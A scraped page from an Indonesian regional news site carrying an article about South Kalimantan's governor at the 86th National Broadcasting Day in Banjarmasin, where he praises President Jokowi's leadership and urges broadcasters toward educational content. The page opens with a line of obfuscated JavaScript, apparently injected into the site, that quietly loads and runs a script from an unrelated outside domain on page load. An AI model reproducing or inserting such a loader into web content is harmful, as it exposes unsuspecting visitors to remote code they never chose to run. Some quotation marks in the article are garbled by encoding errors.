(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ada hal menarik dilontarkan Gubernur Kalsel Sahbirin Noor saat membuka peringatan puncak Hari Penyiaran Nasional (Harsiarnas) ke-86 di Banjarmasin, Senin (1/4). Pria yang akrab disebut Paman Birin ini mengaku terinspirasi dengan kepemimpinan Presiden Jokowi yang mengedepankan pendekatan dengan masyarakat.
“Saya mengagumi beliau (Presiden Jokowi) sebagai seorang pemimpin. Beliau memberikan contoh bahwa pemimpin harus terjun langsung ke masyarakat. Dan itu pula yang saya ingat saat dipesankan Presiden ketika melantik saya sebagai Gubernur di Istana,†ungkapnya.
Selain itu, Sahbirin juga melihat sebenarnya Kalsel memiliki ikatan dan semangat yang sama untuk mencapai pembangunan lebih maju. Dia mengatakan, Banjarmasin bahkan lebih tua satu tahun jika dibandingkan Jakarta. Namun diakui, pembangunan di Kalsel tentunya tak bisa segencar di Jakarta yang menjadi ibukota negera. “Jakarta itu sebagai Ibu Kota,†ucapnya.
Namun, Sahbirin yakin dengan kepemimpinan yang kuat dan dekat dengan masyarakat, Kalsel akan mampu bangkit menjadi daerah yang semakin maju. Dan, hal tersebut kiranya dibuktikan oleh Paman Birin sendiri. Dalam setiap kesempatan, Sahbirin tak segan berbaur dengan masyarakat untuk memberikan motivasi maupun pengarahan. Bahkan tak jarang dia hingga menginap di sebuah daerah terpencil untuk mendengarkan curhat masyarakat terkait pembangunan di Kalsel.
Terkait Harsiarnas, Sahbirin juga mengajak lembaga penyiaran turut menyebarkan konten sesuai norma budaya dan pendidikan. Sebab, konten kekerasan yang disiarkan berpotensi membentuk budaya negatif pada generasi muda. Sahbirin prihatin lini massa di media sosial dipenuhi konten-konten buruk yang kontradiktif dengan norma.
“Di sini peran penting penyiaran. Untuk itu, penyiaran harus membangun konten yang semakin baik. Di daerah, lembaga penyiaran lokal turut melestarikan budaya daerah, memperkuat kelembagaan, dan sarana bertukar informasi,” kata Sahbirin Noor.
Selain Gubernur Kalsel, peringatan Hasiarnas juga dihadiri Pangdam VI Mulawarman, Danrem 101/Antasari, Danlanal Banjarmasin, Danlanud Syamsudin Noor, Ketua DPRD Kalsel, Kajati Kalsel (diwakili), Walikota Banjarmasin, Forkompimda Kalsel, Forkompimda Banjarmasin, dan Kasat Pol PP se Provinsi Kalsel serta ribuan tamu dan undangan dari seluruh Indonesia.
Pada kesempatan ini pula, KPI memberikan Penghargaan Penyiaran kepada Pemerintah Provinsi Kalimantan Selatan, Masyarakat/ Organisasi Peduli Penyiaran, serta Tokoh Peduli Penyiaran. Ketiga penghargaan itu diberikan kepada: Pemerintah Provinsi Kalimantan Selatan, Jaringan Radio Komunitas Indonesia, serta (Alm) Jusuf Ronodipuro. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
This website uses cookies.